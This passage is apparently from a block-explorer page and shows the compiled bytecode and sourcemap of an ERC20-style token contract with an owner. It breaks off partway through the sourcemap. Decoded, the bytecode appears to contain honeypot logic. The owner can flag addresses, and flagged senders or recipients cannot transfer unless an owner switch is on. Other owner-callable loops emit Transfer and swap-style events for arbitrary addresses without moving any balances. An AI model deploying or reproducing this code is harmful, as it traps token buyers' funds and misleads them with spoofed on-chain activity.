67fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118db565b60405180910390a3505050565b610de76115ba565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115ba565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d0a565b5b9050602002016020810190610efb9190611980565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d39565b915050610ec2565b505050565b610f6c6115ba565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290611f54565b60405180910390fd5b610fe481611638565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590611fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490612078565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ab91906118db565b60405180910390a3505050565b60006111c48484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461123e5781811015611230576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611227906120e4565b60405180910390fd5b61123d8484848403610fef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa90612176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612208565b60405180910390fd5b61132d8383836116fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab9061229a565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114555750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b15760011515600560009054906101000a900460ff161515146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a7906122e0565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a191906118db565b60405180910390a36115b4848484611701565b50505050565b6115c2610fe7565b73ffffffffffffffffffffffffffffffffffffffff166115e0610a95565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611740578082015181840152602081019050611725565b60008484015250505050565b6000601f19601f8301169050919050565b600061176882611706565b6117728185611711565b9350611782818560208601611722565b61178b8161174c565b840191505092915050565b600060208201905081810360008301526117b0818461175d565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117ed826117c2565b9050919050565b6117fd816117e2565b811461180857600080fd5b50565b60008135905061181a816117f4565b92915050565b6000819050919050565b61183381611820565b811461183e57600080fd5b50565b6000813590506118508161182a565b92915050565b6000806040838503121561186d5761186c6117b8565b5b600061187b8582860161180b565b925050602061188c85828601611841565b9150509250929050565b60008115159050919050565b6118ab81611896565b82525050565b60006020820190506118c660008301846118a2565b92915050565b6118d581611820565b82525050565b60006020820190506118f060008301846118cc565b92915050565b60008060006060848603121561190f5761190e6117b8565b5b600061191d8682870161180b565b935050602061192e8682870161180b565b925050604061193f86828701611841565b9150509250925092565b600060ff82169050919050565b61195f81611949565b82525050565b600060208201905061197a6000830184611956565b92915050565b600060208284031215611996576119956117b8565b5b60006119a48482850161180b565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119d2576119d16119ad565b5b8235905067ffffffffffffffff8111156119ef576119ee6119b2565b5b602083019150836020820283011115611a0b57611a0a6119b7565b5b9250929050565b60008083601f840112611a2857611a276119ad565b5b8235905067ffffffffffffffff811115611a4557611a446119b2565b5b602083019150836020820283011115611a6157611a606119b7565b5b9250929050565b60008060008060008060608789031215611a8557611a846117b8565b5b600087013567ffffffffffffffff811115611aa357611aa26117bd565b5b611aaf89828a016119bc565b9650965050602087013567ffffffffffffffff811115611ad257611ad16117bd565b5b611ade89828a016119bc565b9450945050604087013567ffffffffffffffff811115611b0157611b006117bd565b5b611b0d89828a01611a12565b92509250509295509295509295565b60008060208385031215611b3357611b326117b8565b5b600083013567ffffffffffffffff811115611b5157611b506117bd565b5b611b5d858286016119bc565b92509250509250929050565b60008060008060608587031215611b8357611b826117b8565b5b600085013567ffffffffffffffff811115611ba157611ba06117bd565b5b611bad878288016119bc565b94509450506020611bc087828801611841565b9250506040611bd187828801611841565b91505092959194509250565b611be6816117e2565b82525050565b6000602082019050611c016000830184611bdd565b92915050565b60008060408385031215611c1e57611c1d6117b8565b5b6000611c2c8582860161180b565b9250506020611c3d8582860161180b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8e57607f821691505b602082108103611ca157611ca0611c47565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ce182611820565b9150611cec83611820565b9250828201905080821115611d0457611d03611ca7565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d4482611820565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d7657611d75611ca7565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611db0611dab611da684611d81565b611d8b565b611820565b9050919050565b611dc081611d95565b82525050565b6000608082019050611ddb6000830187611db7565b611de860208301866118cc565b611df560408301856118cc565b611e026060830184611db7565b95945050505050565b6000608082019050611e2060008301876118cc565b611e2d6020830186611db7565b611e3a6040830185611db7565b611e4760608301846118cc565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611eac602583611711565b9150611eb782611e50565b604082019050919050565b60006020820190508181036000830152611edb81611e9f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f3e602683611711565b9150611f4982611ee2565b604082019050919050565b60006020820190508181036000830152611f6d81611f31565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fd0602483611711565b9150611fdb82611f74565b604082019050919050565b60006020820190508181036000830152611fff81611fc3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612062602283611711565b915061206d82612006565b604082019050919050565b6000602082019050818103600083015261209181612055565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120ce601d83611711565b91506120d982612098565b602082019050919050565b600060208201905081810360008301526120fd816120c1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612160602583611711565b915061216b82612104565b604082019050919050565b6000602082019050818103600083015261218f81612153565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121f2602383611711565b91506121fd82612196565b604082019050919050565b60006020820190508181036000830152612221816121e5565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612284602683611711565b915061228f82612228565b604082019050919050565b600060208201905081810360008301526122b381612277565b9050919050565b50565b60006122ca600083611711565b91506122d5826122ba565b600082019050919050565b600060208201905081810360008301526122f9816122bd565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612336602083611711565b915061234182612300565b602082019050919050565b6000602082019050818103600083015261236581612329565b905091905056fea264697066735822122066f5f1aa3713d785a2f92c9fd546f553c1ab79945b355c8708f1c2d0d211438164736f6c63430008120033

Deployed Bytecode Sourcemap

36946:180:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9025:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11374:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10143:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12155:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9987:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22672:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12859:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21460:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10314:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21714:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6133:103;;;:::i;:::-;;20963:275;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22254:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5492:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9244:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21955:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13600:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10647:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21587:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22554:110;;;:::i;:::-;;10903:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21246:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6391:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9025:100;9079:13;9112:5;9105:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9025:100;:::o;11374:201::-;11457:4;11474:13;11490:12;:10;:12::i;:::-;11474:28;;11513:32;11522:5;11529:7;11538:6;11513:8;:32::i;:::-;11563:4;11556:11;;;11374:201;;;;:::o;10143:108::-;10204:7;10231:12;;10224:19;;10143:108;:::o;12155:295::-;12286:4;12303:15;12321:12;:10;:12::i;:::-;12303:30;;12344:38;12360:4;12366:7;12375:6;12344:15;:38::i;:::-;12393:27;12403:4;12409:2;12413:6;12393:9;:27::i;:::-;12438:4;12431:11;;;12155:295;;;;;:::o;9987:93::-;10045:5;10070:2;10063:9;;9987:93;:::o;22672:97::-;5378:13;:11;:13::i;:::-;22754:7:::1;22746:5;;:15;;;;;;;;;;;;;;;;;;22672:97:::0;:::o;12859:238::-;12947:4;12964:13;12980:12;:10;:12::i;:::-;12964:28;;13003:64;13012:5;13019:7;13056:10;13028:25;13038:5;13045:7;13028:9;:25::i;:::-;:38;;;;:::i;:::-;13003:8;:64::i;:::-;13085:4;13078:11;;;12859:238;;;;:::o;21460:119::-;21524:4;21548:12;:23;21561:9;21548:23;;;;;;;;;;;;;;;;;;;;;;;;;21541:30;;21460:119;;;:::o;10314:127::-;10388:7;10415:9;:18;10425:7;10415:18;;;;;;;;;;;;;;;;10408:25;;10314:127;;;:::o;21714:233::-;21835:9;21830:110;21854:5;;:12;;21850:1;:16;21830:110;;;21912:3;;21916:1;21912:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21893:35;;21902:5;;21908:1;21902:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21893:35;;;21920:4;;21925:1;21920:7;;;;;;;:::i;:::-;;;;;;;;21893:35;;;;;;:::i;:::-;;;;;;;;21868:3;;;;;:::i;:::-;;;;21830:110;;;;21714:233;;;;;;:::o;6133:103::-;5378:13;:11;:13::i;:::-;6198:30:::1;6225:1;6198:18;:30::i;:::-;6133:103::o:0;20963:275::-;5378:13;:11;:13::i;:::-;21048:9:::1;21043:188;21067:11;;:18;;21063:1;:22;21043:188;;;21138:4;21107:12;:28;21120:11;;21132:1;21120:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21107:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;21187:4;;;;;;;;;;;21162:57;;21171:11;;21183:1;21171:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21162:57;;;21193:25;21203:11;;21215:1;21203:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21193:9;:25::i;:::-;21162:57;;;;;;:::i;:::-;;;;;;;;21087:3;;;;;:::i;:::-;;;;21043:188;;;;20963:275:::0;;:::o;22254:292::-;22358:9;22353:186;22377:11;;:18;;22373:1;:22;22353:186;;;22456:11;;22468:1;22456:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22422:49;;22427:10;;;;;;;;;;;22422:49;;;22439:1;22442:3;22447:4;22453:1;22422:49;;;;;;;;;:::i;:::-;;;;;;;;22516:5;;;;;;;;;;;22491:36;;22500:11;;22512:1;22500:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22491:36;;;22523:3;22491:36;;;;;;:::i;:::-;;;;;;;;22397:3;;;;;:::i;:::-;;;;22353:186;;;;22254:292;;;;:::o;5492:87::-;5538:7;5565:6;;;;;;;;;;;5558:13;;5492:87;:::o;9244:104::-;9300:13;9333:7;9326:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9244:104;:::o;21955:291::-;22057:9;22052:187;22076:11;;:18;;22072:1;:22;22052:187;;;22155:11;;22167:1;22155:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22121:49;;22126:10;;;;;;;;;;;22121:49;;;22138:3;22143:1;22146;22149:4;22121:49;;;;;;;;;:::i;:::-;;;;;;;;22206:11;;22218:1;22206:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22190:37;;22199:5;;;;;;;;;;;22190:37;;;22222:4;22190:37;;;;;;:::i;:::-;;;;;;;;22096:3;;;;;:::i;:::-;;;;22052:187;;;;21955:291;;;;:::o;13600:436::-;13693:4;13710:13;13726:12;:10;:12::i;:::-;13710:28;;13749:24;13776:25;13786:5;13793:7;13776:9;:25::i;:::-;13749:52;;13840:15;13820:16;:35;;13812:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;13933:60;13942:5;13949:7;13977:15;13958:16;:34;13933:8;:60::i;:::-;14024:4;14017:11;;;;13600:436;;;;:::o;10647:193::-;10726:4;10743:13;10759:12;:10;:12::i;:::-;10743:28;;10782;10792:5;10799:2;10803:6;10782:9;:28::i;:::-;10828:4;10821:11;;;10647:193;;;;:::o;21587:119::-;21688:3;21672:26;;21681:5;21672:26;;;21693:4;21672:26;;;;;;:::i;:::-;;;;;;;;21587:119;;;:::o;22554:110::-;5378:13;:11;:13::i;:::-;22613:10:::1;22605:28;;:51;22634:21;22605:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;22554:110::o:0;10903:151::-;10992:7;11019:11;:18;11031:5;11019:18;;;;;;;;;;;;;;;:27;11038:7;11019:27;;;;;;;;;;;;;;;;11012:34;;10903:151;;;;:::o;21246:206::-;5378:13;:11;:13::i;:::-;21338:9:::1;21333:112;21357:11;;:18;;21353:1;:22;21333:112;;;21428:5;21397:12;:28;21410:11;;21422:1;21410:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21397:28;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;21377:3;;;;;:::i;:::-;;;;21333:112;;;;21246:206:::0;;:::o;6391:201::-;5378:13;:11;:13::i;:::-;6500:1:::1;6480:22;;:8;:22;;::::0;6472:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6556:28;6575:8;6556:18;:28::i;:::-;6391:201:::0;:::o;4201:98::-;4254:7;4281:10;4274:17;;4201:98;:::o;18065:380::-;18218:1;18201:19;;:5;:19;;;18193:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18299:1;18280:21;;:7;:21;;;18272:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18383:6;18353:11;:18;18365:5;18353:18;;;;;;;;;;;;;;;:27;18372:7;18353:27;;;;;;;;;;;;;;;:36;;;;18421:7;18405:32;;18414:5;18405:32;;;18430:6;18405:32;;;;;;:::i;:::-;;;;;;;;18065:380;;;:::o;18736:453::-;18871:24;18898:25;18908:5;18915:7;18898:9;:25::i;:::-;18871:52;;18958:17;18938:16;:37;18934:248;;19020:6;19000:16;:26;;18992:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19104:51;19113:5;19120:7;19148:6;19129:16;:25;19104:8;:51::i;:::-;18934:248;18860:329;18736:453;;;:::o;14506:935::-;14653:1;14637:18;;:4;:18;;;14629:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14730:1;14716:16;;:2;:16;;;14708:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14785:38;14806:4;14812:2;14816:6;14785:20;:38::i;:::-;14836:19;14858:9;:15;14868:4;14858:15;;;;;;;;;;;;;;;;14836:37;;14907:6;14892:11;:21;;14884:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;14971:12;:18;14984:4;14971:18;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;14993:12;:16;15006:2;14993:16;;;;;;;;;;;;;;;;;;;;;;;;;14971:38;14967:84;;;15042:4;15019:27;;:19;;;;;;;;;;;:27;;;15011:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;14967:84;15119:6;15105:11;:20;15087:9;:15;15097:4;15087:15;;;;;;;;;;;;;;;:38;;;;15322:6;15305:9;:13;15315:2;15305:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15372:2;15357:26;;15366:4;15357:26;;;15376:6;15357:26;;;;;;:::i;:::-;;;;;;;;15396:37;15416:4;15422:2;15426:6;15396:19;:37::i;:::-;14618:823;14506:935;;;:::o;5657:132::-;5732:12;:10;:12::i;:::-;5721:23;;:7;:5;:7::i;:::-;:23;;;5713:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5657:132::o;6752:191::-;6826:16;6845:6;;;;;;;;;;;6826:25;;6871:8;6862:6;;:17;;;;;;;;;;;;;;;;;;6926:8;6895:40;;6916:8;6895:40;;;;;;;;;;;;6815:128;6752:191;:::o;20521:125::-;;;;:::o;19793:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:117::-;5297:1;5294;5287:12;5311:117;5420:1;5417;5410:12;5434:117;5543:1;5540;5533:12;5574:568;5647:8;5657:6;5707:3;5700:4;5692:6;5688:17;5684:27;5674:122;;5715:79;;:::i;:::-;5674:122;5828:6;5815:20;5805:30;;5858:18;5850:6;5847:30;5844:117;;;5880:79;;:::i;:::-;5844:117;5994:4;5986:6;5982:17;5970:29;;6048:3;6040:4;6032:6;6028:17;6018:8;6014:32;6011:41;6008:128;;;6055:79;;:::i;:::-;6008:128;5574:568;;;;;:::o;6165:::-;6238:8;6248:6;6298:3;6291:4;6283:6;6279:17;6275:27;6265:122;;6306:79;;:::i;:::-;6265:122;6419:6;6406:20;6396:30;;6449:18;6441:6;6438:30;6435:117;;;6471:79;;:::i;:::-;6435:117;6585:4;6577:6;6573:17;6561:29;;6639:3;6631:4;6623:6;6619:17;6609:8;6605:32;6602:41;6599:128;;;6646:79;;:::i;:::-;6599:128;6165:568;;;;;:::o;6739:1309::-;6897:6;6905;6913;6921;6929;6937;6986:2;6974:9;6965:7;6961:23;6957:32;6954:119;;;6992:79;;:::i;:::-;6954:119;7140:1;7129:9;7125:17;7112:31;7170:18;7162:6;7159:30;7156:117;;;7192:79;;:::i;:::-;7156:117;7305:80;7377:7;7368:6;7357:9;7353:22;7305:80;:::i;:::-;7287:98;;;;7083:312;7462:2;7451:9;7447:18;7434:32;7493:18;7485:6;7482:30;7479:117;;;7515:79;;:::i;:::-;7479:117;7628:80;7700:7;7691:6;7680:9;7676:22;7628:80;:::i;:::-;7610:98;;;;7405:313;7785:2;7774:9;7770:18;7757:32;7816:18;7808:6;7805:30;7802:117;;;7838:79;;:::i;:::-;7802:117;7951:80;8023:7;8014:6;8003:9;7999:22;7951:80;:::i;:::-;7933:98;;;;7728:313;6739:1309;;;;;;;;:::o;8054:559::-;8140:6;8148;8197:2;8185:9;8176:7;8172:23;8168:32;8165:119;;;8203:79;;:::i;:::-;8165:119;8351:1;8340:9;8336:17;8323:31;8381:18;8373:6;8370:30;8367:117;;;8403:79;;:::i;:::-;8367:117;8516:80;8588:7;8579:6;8568:9;8564:22;8516:80;:::i;:::-;8498:98;;;;8294:312;8054:559;;;;;:::o;8619:849::-;8723:6;8731;8739;8747;8796:2;8784:9;8775:7;8771:23;8767:32;8764:119;;;8802:79;;:::i;:::-;8764:119;8950:1;8939:9;8935:17;8922:31;8980:18;8972:6;8969:30;8966:117;;;9002:79;;:::i;:::-;8966:117;9115:80;9187:7;9178:6;9167:9;9163:22;9115:80;:::i;:::-;9097:98;;;;8893:312;9244:2;9270:53;9315:7;9306:6;9295:9;9291:22;9270:53;:::i;:::-;9260:63;;9215:118;9372:2;9398:53;9443:7;9434:6;9423:9;9419:22;9398:53;:::i;:::-;9388:63;;9343:118;8619:849;;;;;;;:::o;9474:118::-;9561:24;9579:5;9561:24;:::i;:::-;9556:3;9549:37;9474:118;;:::o;9598:222::-;9691:4;9729:2;9718:9;9714:18;9706:26;;9742:71;9810:1;9799:9;9795:17;9786:6;9742:71;:::i;:::-;9598:222;;;;:::o;9826:474::-;9894:6;9902;9951:2;9939:9;9930:7;9926:23;9922:32;9919:119;;;9957:79;;:::i;:::-;9919:119;10077:1;10102:53;10147:7;10138:6;10127:9;10123:22;10102:53;:::i;:::-;10092:63;;10048:117;10204:2;10230:53;10275:7;10266:6;10255:9;10251:22;10230:53;:::i;:::-;10220:63;;10175:118;9826:474;;;;;:::o;10306:180::-;10354:77;10351:1;10344:88;10451:4;10448:1;10441:15;10475:4;10472:1;10465:15;10492:320;10536:6;10573:1;10567:4;10563:12;10553:22;;10620:1;10614:4;10610:12;10641:18;10631:81;;10697:4;10689:6;10685:17;10675:27;;10631:81;10759:2;10751:6;10748:14;10728:18;10725:38;10722:84;;10778:18;;:::i;:::-;10722:84;10543:269;10492:320;;;:::o;10818:180::-;10866:77;10863:1;10856:88;10963:4;10960:1;10953:15;10987:4;10984:1;10977:15;11004:191;11044:3;11063:20;11081:1;11063:20;:::i;:::-;11058:25;;11097:20;11115:1;11097:20;:::i;:::-;11092:25;;11140:1;11137;11133:9;11126:16;;11161:3;11158:1;11155:10;11152:36;;;11168:18;;:::i;:::-;11152:36;11004:191;;;;:::o;11201:180::-;11249:77;11246:1;11239:88;11346:4;11343:1;11336:15;11370:4;11367:1;11360:15;11387:233;11426:3;11449:24;11467:5;11449:24;:::i;:::-;11440:33;;11495:66;11488:5;11485:77;11482:103;;11565:18;;:::i;:::-;11482:103;11612:1;11605:5;11601:13;11594:20;;11387:233;;;:::o;11626:85::-;11671:7;11700:5;11689:16;;11626:85;;;:::o;11717:60::-;11745:3;11766:5;11759:12;;11717:60;;;:::o;11783:158::-;11841:9;11874:61;11892:42